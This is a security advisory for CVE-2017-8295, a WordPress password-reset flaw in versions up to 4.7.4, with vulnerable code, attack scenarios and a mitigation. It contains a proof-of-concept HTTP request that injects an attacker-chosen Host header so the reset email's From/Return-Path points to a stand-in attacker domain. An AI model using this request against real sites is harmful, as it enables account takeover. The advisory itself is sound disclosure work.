==================================================== - Discovered by: Dawid Golunski (@dawid_golunski) - dawid[at]legalhackers.com - https://legalhackers.com - ExploitBox.io (@Exploit_Box) - CVE-2017-8295 - Release date: 03.05.2017 - Revision 3.0 - Last update: 04.05.2017 - Severity: Medium/High ==================================================== I. VULNERABILITY ------------------------- WordPress Core <= 4.7.4 Potential Unauthorized Password Reset (0day) II. BACKGROUND ------------------------- "WordPress is a free and open-source content management system (CMS) based on PHP and MySQL. WordPress was used by more than 27.5% of the top 10 million websites as of February 2017. WordPress is reportedly the most popular website management or blogging system in use on the Web, supporting more than 60 million websites." https://en.wikipedia.org/wiki/WordPress III. INTRODUCTION ------------------------- Wordpress has a password reset feature that contains a vulnerability which might in some cases allow attackers to get hold of the password reset link without previous authentication. Such attack could lead to an attacker gaining unauthorised access to a victim's WordPress account. IV. DESCRIPTION ------------------------- The vulnerability stems from WordPress using untrusted data by default when creating a password reset e-mail that is supposed to be delivered only to the e-mail associated with the owner's account. This can be observed in the following code snippet that creates a From email header before calling a PHP mail() function: ------[ wp-includes/pluggable.php ]------ ... if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } ... ----------------------------------------- As we can see, Wordpress is using SERVER_NAME variable to get the hostname of the server in order to create a From/Return-Path header of the outgoing password reset email. However, major web servers such as Apache by default set the SERVER_NAME variable using the hostname supplied by the client (within the HTTP_HOST header): https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname Because SERVER_NAME can be modified, an attacker could set it to an arbitrary domain of his choice e.g: attackers-mxserver.com which would result in Wordpress setting the $from_email to wordpress@attackers-mxserver.com and thus result in an outgoing email with From/Return-Path set to this malicious address. As to which e-mail header the attacker would be able to modify - From or Return-Path, it depends on the server environment. As can be read on http://php.net/manual/en/function.mail.php The From header sets also Return-Path under Windows. Depending on the configuration of the mail server, it may result in an email that gets sent to the victim WordPress user with such malicious From/Return-Path address set in the email headers. This could possibly allow the attacker to intercept the email containing the password reset link in some cases requiring user interaction as well as without user interaction. 3 _separate_ example scenarios (both the ones that require victim interaction and those that do not) include: 1 * Attacker can perform a prior DoS attack on the victim's email account/server (e.g by sending multiple large files to exceed user's disk quota, attacking the DNS server etc) in order to prevent the password reset email from reaching the victim's account and bounce back to the malicous sender address that is pointed at the attacker (no user interaction required) -------- 2 * Some autoresponders might attach a copy of the email sent in the body of the auto-replied message (no user interaction required) -------- 3 * Sending multiple password reset emails to force the user to reply to the message to enquiry explanation for endless password reset emails. The reply containing the password link would then be sent to attacker. (user interaction required) -------- etc. V. PROOF OF CONCEPT ------------------------- If an attacker sends a request similar to the one below to a default Wordpress installation that is accessible by the IP address (IP-based vhost): -----[ HTTP Request ]---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password ------------------------ Wordpress will trigger the password reset function for the admin user account. Because of the modified HOST header, the SERVER_NAME will be set to the hostname of attacker's choice. As a result, Wordpress will pass the following headers and email body to the /usr/bin/sendmail wrapper: ------[ resulting e-mail ]----- Subject: [CompanyX WP] Password Reset Return-Path: <wordpress@attackers-mxserver.com> From: WordPress <wordpress@attackers-mxserver.com> Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com> X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Someone requested that the password be reset for the following account: http://companyX-wp/wp/wordpress/ Username: admin If this was a mistake, just ignore this email and nothing will happen. To reset your password, visit the following address: <http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin> ------------------------------- As we can see, fields Return-Path, From, and Message-ID, all have the attacker's domain set. The verification of the headers can be performed by replacing /usr/sbin/sendmail with a bash script of: #!/bin/bash cat > /tmp/outgoing-email VI. BUSINESS IMPACT ------------------------- Upon a successfull exploitation, attacker may be able to reset user's password and gain unauthorized access to their WordPress account. VII. SYSTEMS AFFECTED ------------------------- All WordPress versions up to the latest 4.7.4 VIII. SOLUTION ------------------------- No official solution available. As a temporary solution users can enable UseCanonicalName to enforce static SERVER_NAME value https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname This issue has been reported to WordPress security team multiple times with the first report sent back in July 2016. It was reported both directly via security contact email, as well as via HackerOne website. As there has been no progress in this case , this advisory is finally released to the public without an official patch (0day). IX. REFERENCES ------------------------- https://legalhackers.com https://ExploitBox.io Vendor site: https://wordpress.org http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname http://php.net/manual/en/function.mail.php https://tools.ietf.org/html/rfc5321 X. CREDITS ------------------------- Discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com https://ExploitBox.io Thanks to BeyondSecurity for help with contacting the vendor. XI. REVISION HISTORY ------------------------- 03.05.2017 - Advisory released, rev. 1 04.05.2017 - Revision 2. Updated description/scenario section to highlight that scenarios are independent of each other and include ones that require victim interaction (such as a manual reply) and ones that do not (such as email account DoS leading to automatically bounced email by the receiving server) 04.05.2017 - Revision 3. Updated 'solution' section to clarify and highlight numerous resolution attempts (both via direct WordPress security email contact and via HackerOne) XII. EXPLOITBOX - A PLAYGROUND FOR HACKERS ------------------------- ExploitBox.io is coming soon. Subscribe at https://ExploitBox.io to stay updated and be there for the launch. XIII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.